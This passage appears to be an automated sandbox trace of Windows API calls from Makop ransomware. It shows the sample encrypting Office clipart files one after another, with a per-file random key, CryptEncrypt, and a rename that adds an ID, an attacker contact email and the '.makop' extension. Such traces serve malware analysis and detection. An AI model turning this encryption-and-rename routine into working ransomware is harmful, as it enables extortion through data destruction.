Office\\CLIPART\\PUB60COR\\J0239935.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.224] CloseHandle (hObject=0xf0) returned 1 [0132.224] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1 [0132.224] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF") returned 63 [0132.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.226] GetProcessHeap () returned 0x48a0000 [0132.226] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.226] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.226] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.226] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.232] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.232] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.232] GetProcessHeap () returned 0x48a0000 [0132.232] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.232] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.232] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.232] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.232] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.232] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.233] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.233] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.233] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.233] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.233] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.233] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.233] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1418, lpOverlapped=0x0) returned 1 [0132.234] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1420, dwBufLen=0x1420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1420) returned 1 [0132.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.234] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1420, lpOverlapped=0x0) returned 1 [0132.234] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.235] SetEndOfFile (hFile=0xf0) returned 1 [0132.240] GetProcessHeap () returned 0x48a0000 [0132.240] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.240] GetProcessHeap () returned 0x48a0000 [0132.240] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.240] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.241] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.242] CloseHandle (hObject=0xf0) returned 1 [0132.242] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1 [0132.242] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF") returned 63 [0132.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.243] GetProcessHeap () returned 0x48a0000 [0132.243] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.243] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.243] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.247] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.247] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.247] GetProcessHeap () returned 0x48a0000 [0132.247] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.247] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.247] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.247] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.247] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.247] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.248] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.248] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.248] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.248] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.248] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.248] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.248] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1998, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1998, lpOverlapped=0x0) returned 1 [0132.282] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19a0, dwBufLen=0x19a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19a0) returned 1 [0132.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.282] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19a0, lpOverlapped=0x0) returned 1 [0132.282] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.282] SetEndOfFile (hFile=0xf0) returned 1 [0132.287] GetProcessHeap () returned 0x48a0000 [0132.287] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.287] GetProcessHeap () returned 0x48a0000 [0132.287] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.288] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.289] CloseHandle (hObject=0xf0) returned 1 [0132.289] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1 [0132.289] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF") returned 63 [0132.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.290] GetProcessHeap () returned 0x48a0000 [0132.290] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.290] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.291] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.291] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.291] GetProcessHeap () returned 0x48a0000 [0132.291] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.291] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.291] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.291] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.388] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.388] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.388] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.388] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.389] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.389] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.389] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.389] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.389] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c40, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c40, lpOverlapped=0x0) returned 1 [0132.390] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c40, dwBufLen=0x1c40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c40) returned 1 [0132.390] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.391] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c40, lpOverlapped=0x0) returned 1 [0132.391] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.391] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.391] SetEndOfFile (hFile=0xf0) returned 1 [0132.397] GetProcessHeap () returned 0x48a0000 [0132.397] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.397] GetProcessHeap () returned 0x48a0000 [0132.397] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.398] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.399] CloseHandle (hObject=0xf0) returned 1 [0132.399] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1 [0132.400] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF") returned 63 [0132.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.401] GetProcessHeap () returned 0x48a0000 [0132.401] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.401] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.401] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.405] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.405] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.405] GetProcessHeap () returned 0x48a0000 [0132.405] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.405] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.405] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.405] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.405] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.405] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.406] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.406] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.406] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.406] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bc8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1bc8, lpOverlapped=0x0) returned 1 [0132.457] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bd0, dwBufLen=0x1bd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bd0) returned 1 [0132.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1bd0, lpOverlapped=0x0) returned 1 [0132.458] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.458] SetEndOfFile (hFile=0xf0) returned 1 [0132.465] GetProcessHeap () returned 0x48a0000 